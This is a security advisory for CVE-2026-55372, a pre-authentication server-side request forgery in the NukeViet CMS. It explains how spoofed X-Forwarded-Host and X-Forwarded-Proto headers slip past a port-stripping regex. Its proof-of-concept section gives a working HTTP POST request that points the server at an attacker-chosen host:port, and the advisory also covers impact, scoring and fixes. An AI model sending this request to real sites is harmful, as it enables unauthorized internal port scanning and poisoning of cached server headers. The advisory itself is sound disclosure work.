PT-2026-60104 · Packagist · Nukeviet/Nukeviet

CVE-2026-55372

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Published

2026-07-13

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Updated

2026-07-13

CVSS v3.1

7.2

High

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

An unauthenticated attacker can coerce the server into issuing HTTP requests to an attacker-chosen host by spoofing the X Forwarded-Host (and X-Forwarded-Proto) request headers. The forwarded host is used, without validation, to build the URL that server info update() fetches with cURL, resulting in a Server-Side Request Forgery (SSRF) that requires no authentication.

Affected component

  • File: includes/ini.php — function server info update() (cURL sink)
  • File: vendor/vinades/nukeviet/Core/Server.php — standardizeHost() and the forwarded-header handling in the constructor (source of the tainted host)
  • Trigger: POST request containing the field serverInfoUpdate=1, handled early in includes/ini.php before any authentication.

Details

NukeVietCoreServer derives original host / original protocol from the X-Forwarded-Host / X-Forwarded-Proto headers and exposes them via getOriginalHost() / getOriginalProtocol(). These values are attacker-controlled and were not validated against the site's configured domains (my domains).
In server info update() the tainted host and scheme are concatenated directly into a cURL URL:
php
$proto = $nv Server->getOriginalProtocol();  // from X-Forwarded-Proto
$host = $nv Server->getOriginalHost();    // from X-Forwarded-Host
$ch = curl init($proto . '://' . $host . NV BASE SITEURL . 'index.php?response headers detect=1');
curl exec($ch);
Two factors made this reliably reachable:
  1. The serverInfoUpdate handler runs very early in includes/ini.php, before authentication, so the sink is reachable pre-auth.
  2. The host sanitiser standardizeHost() stripped a trailing port only with the regex (:[0-9]+)$, which is bypassed by appending a slash (e.g. 127.0.0.1:8081/): the string no longer ends in :digits, so the port survives and an arbitrary host:port reaches the cURL call.

Proof of Concept

http
POST /index.php HTTP/1.1
Host: <victim>
X-Forwarded-Proto: http
X-Forwarded-Host: <attacker-controlled-host>:<port>/
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

 serverInfoUpdate=1
The server then issues a request to the attacker-supplied host, confirmed via an out-of-band interaction (DNS + HTTP) on a collaborator endpoint.

Impact

The SSRF is blind, HEAD-only, and uses a fixed request path (…/index.php?response headers detect=1):
  • The fetched response is stored server-side in the config ini cache and is not reflected to the attacker, so internal data cannot be exfiltrated directly.
  • Because the path is fixed and not attacker-controlled, cloud metadata endpoints (e.g. 169.254.169.254/latest/meta-data/...) cannot be reached, and gopher:// / dict:// request smuggling cannot inject arbitrary payloads.
What an attacker can do: unauthenticated internal host/port discovery (connection success/timing, with the port reachable through the regex bypass), and poisoning of the cached server headers (the SSRF target's response headers are stored and applied to the site).

Severity

Rated High rather than Critical, because the blind + fixed-path + HEAD design of the sink prevents data exfiltration, cloud credential theft, and internal RCE.
  • CVSS v3.1 Base Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Weakness

  • Primary: CWE-918: Server-Side Request Forgery (SSRF)
  • Contributing: CWE-20 (Improper Input Validation), CWE-644 (Improper Neutralization of HTTP Headers used by downstream components / trusting X-Forwarded-*).

Remediation

Fixed by validating and normalising the forwarded values at the source and gating the request before the sink:
  • standardizeHost() now extracts the host with parse url() (defeats the :port/ bypass) and lower-cases it.
  • X-Forwarded-Proto is restricted to a {http, https} allow-list and falls back to the real server protocol otherwise.
  • X-Forwarded-Port is validated as numeric and within range.
  • The incoming host is checked against my domains before includes/ini.php is reached; non-matching hosts are rejected/redirected, and server info update() additionally re-validates its target host against my domains (defense in depth).

Workaround

Configure the reverse proxy / web server to strip or override client-supplied X-Forwarded-Host, X-Forwarded-Proto, and X-Forwarded-Port headers, and ensure my domains is configured with the site's canonical domain(s).

Fix

SSRF

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Weakness Enumeration

CWE-918

Related Identifiers

CVE-2026-55372
GHSA-4CHG-4752-W88R

Affected Products

Nukeviet/Nukeviet